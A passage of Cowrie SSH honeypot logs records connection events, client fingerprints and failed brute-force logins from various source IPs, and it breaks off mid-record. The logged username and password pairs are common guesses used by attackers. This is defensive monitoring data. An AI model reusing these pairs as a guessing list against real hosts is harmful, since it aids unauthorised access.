{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:10.947869Z","src_ip":"172.187.200.190","session":"42b2998c2794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":36506,"dst_ip":"159.203.135.109","dst_port":22,"session":"e61a9c91c63f","protocol":"ssh","message":"New connection: 159.223.94.92:36506 (159.203.135.109:22) [session: e61a9c91c63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:28.967836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:28.971839Z","src_ip":"159.223.94.92","session":"e61a9c91c63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:29.219392Z","src_ip":"159.223.94.92","session":"e61a9c91c63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gw","password":"123","message":"login attempt [gw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:30.232651Z","src_ip":"159.223.94.92","session":"e61a9c91c63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:31.479920Z","src_ip":"159.223.94.92","session":"e61a9c91c63f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":57124,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ead22bca6e","protocol":"ssh","message":"New connection: 210.79.190.22:57124 (159.203.135.109:22) [session: b6ead22bca6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:45.828998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:45.833368Z","src_ip":"210.79.190.22","session":"b6ead22bca6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:46.081485Z","src_ip":"210.79.190.22","session":"b6ead22bca6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":53570,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de6ab16a9d0","protocol":"ssh","message":"New connection: 40.81.244.142:53570 (159.203.135.109:22) [session: 9de6ab16a9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:46.359492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:46.363641Z","src_ip":"40.81.244.142","session":"9de6ab16a9d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:46.566360Z","src_ip":"40.81.244.142","session":"9de6ab16a9d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"Frank123","message":"login attempt [frank/Frank123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:47.413741Z","src_ip":"40.81.244.142","session":"9de6ab16a9d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"Ts3123","message":"login attempt [ts3/Ts3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:47.849679Z","src_ip":"210.79.190.22","session":"b6ead22bca6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:48.619509Z","src_ip":"40.81.244.142","session":"9de6ab16a9d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:49.099331Z","src_ip":"210.79.190.22","session":"b6ead22bca6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":65369,"dst_ip":"159.203.135.109","dst_port":22,"session":"f483eece6ca5","protocol":"ssh","message":"New connection: 185.158.23.150:65369 (159.203.135.109:22) [session: f483eece6ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:19.342050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:19.346626Z","src_ip":"185.158.23.150","session":"f483eece6ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:19.512381Z","src_ip":"185.158.23.150","session":"f483eece6ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"123456","message":"login attempt [simon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:20.206077Z","src_ip":"185.158.23.150","session":"f483eece6ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:21.373939Z","src_ip":"185.158.23.150","session":"f483eece6ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":58614,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ed70e7652c2","protocol":"ssh","message":"New connection: 131.161.249.165:58614 (159.203.135.109:22) [session: 5ed70e7652c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:44.589105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:44.593687Z","src_ip":"131.161.249.165","session":"5ed70e7652c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:44.717566Z","src_ip":"131.161.249.165","session":"5ed70e7652c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"123456","message":"login attempt [simon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:45.247561Z","src_ip":"131.161.249.165","session":"5ed70e7652c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:52:46.374186Z","src_ip":"131.161.249.165","session":"5ed70e7652c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":44134,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7f246ff2656","protocol":"ssh","message":"New connection: 159.223.94.92:44134 (159.203.135.109:22) [session: e7f246ff2656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:20.106918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:20.112123Z","src_ip":"159.223.94.92","session":"e7f246ff2656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:20.357899Z","src_ip":"159.223.94.92","session":"e7f246ff2656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kocom","password":"kocom123","message":"login attempt [kocom/kocom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:21.372957Z","src_ip":"159.223.94.92","session":"e7f246ff2656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:22.621409Z","src_ip":"159.223.94.92","session":"e7f246ff2656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":38966,"dst_ip":"159.203.135.109","dst_port":22,"session":"be6d647f780a","protocol":"ssh","message":"New connection: 172.178.16.179:38966 (159.203.135.109:22) [session: be6d647f780a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:24.075281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:25.683870Z","src_ip":"172.178.16.179","session":"be6d647f780a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:25.693926Z","src_ip":"172.178.16.179","session":"be6d647f780a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"wwwpass","message":"login attempt [www/wwwpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:29.005708Z","src_ip":"172.178.16.179","session":"be6d647f780a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:30.387957Z","src_ip":"172.178.16.179","session":"be6d647f780a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":52262,"dst_ip":"10.17.0.5","dst_port":22,"session":"56cdd484ed13","protocol":"ssh","message":"New connection: 5.75.240.121:52262 (10.17.0.5:22) [session: 56cdd484ed13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:34.630664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:34.634664Z","src_ip":"5.75.240.121","session":"56cdd484ed13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:34.724000Z","src_ip":"5.75.240.121","session":"56cdd484ed13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales","password":"654321","message":"login attempt [sales/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:34.905918Z","src_ip":"5.75.240.121","session":"56cdd484ed13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:35.997395Z","src_ip":"5.75.240.121","session":"56cdd484ed13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":56530,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a7ff6bd8059","protocol":"ssh","message":"New connection: 45.78.207.244:56530 (159.203.135.109:22) [session: 0a7ff6bd8059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:43.645361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:43.649023Z","src_ip":"45.78.207.244","session":"0a7ff6bd8059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sh